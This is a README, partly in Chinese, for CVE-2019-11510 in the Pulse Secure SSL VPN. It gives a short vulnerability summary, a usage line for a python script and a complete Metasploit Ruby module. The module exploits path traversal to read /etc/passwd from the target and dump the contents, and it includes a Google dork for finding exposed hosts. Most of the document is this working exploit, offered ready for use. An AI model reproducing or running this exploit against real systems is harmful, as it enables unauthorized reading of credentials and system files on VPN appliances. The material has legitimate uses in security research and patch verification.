CVE-2019-11510

# CVE-2019-11510-1

## Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510)

## 漏洞简介
Pulse Secure Pulse Connect Secure（又名PCS，前称Juniper Junos Pulse）是美国Pulse Secure公司的一套SSL VPN解决方案。 Pulse Secure PCS 9.0RX版本、8.3RX版本和8.2RX版本中存在授权问题漏洞。该漏洞源于网络系统或产品中缺少身份验证措施或身份验证强度不足。

## python usage:

`python CVE-2019-11510.py https://x.x.x.x`


## 漏洞EXP(MSF的ruby语言的EXP)

“`ruby
# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require ‘msf/core’
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => ‘Pulse Secure – System file leak’,
‘Description’ => %q{
Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
This exploit reads /etc/passwd as a proof of concept
This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
},
‘References’ =>
[
[ ‘URL’, ‘http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510’ ]
],
‘Author’ => [ ‘0xDezzy (Justin Wagner), Alyssa Herrera’ ],
‘License’ => MSF_LICENSE,
‘DefaultOptions’ =>
{
‘RPORT’ => 443,
‘SSL’ => true
},
))

end

def run()
print_good(“Checking target…”)
res = send_request_raw({‘uri’=>’/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/’},1342)

if res && res.code == 200
print_good(“Target is Vulnerable!”)
data = res.body
current_host = datastore[‘RHOST’]
filename = “msf_sslwebsession_”+current_host+”.bin”
File.delete(filename) if File.exist?(filename)
file_local_write(filename, data)
print_good(“Parsing file…….”)
parse()
else
if(res && res.code == 404)
print_error(“Target not Vulnerable”)
else
print_error(“Ooof, try again…”)
end
end
end
def parse()
current_host = datastore[‘RHOST’]

fileObj = File.new(“msf_sslwebsession_”+current_host+”.bin”, “r”)
words = 0
while (line = fileObj.gets)
printable_data = line.gsub(/[^[:print:]]/, ‘.’)
array_data = printable_data.scan(/.{1,60}/m)
for ar in array_data
if ar != “……………………………………………………”
print_good(ar)
end
end
#print_good(printable_data)

end
fileObj.close
end
end
“`

### 参考链接：

https://github.com/jas502n/CVE-2019-11510-1

https://hackerone.com/reports/591295

https://github.com/projectzeroindia/CVE-2019-11510

https://www.anquanke.com/vul/id/1589103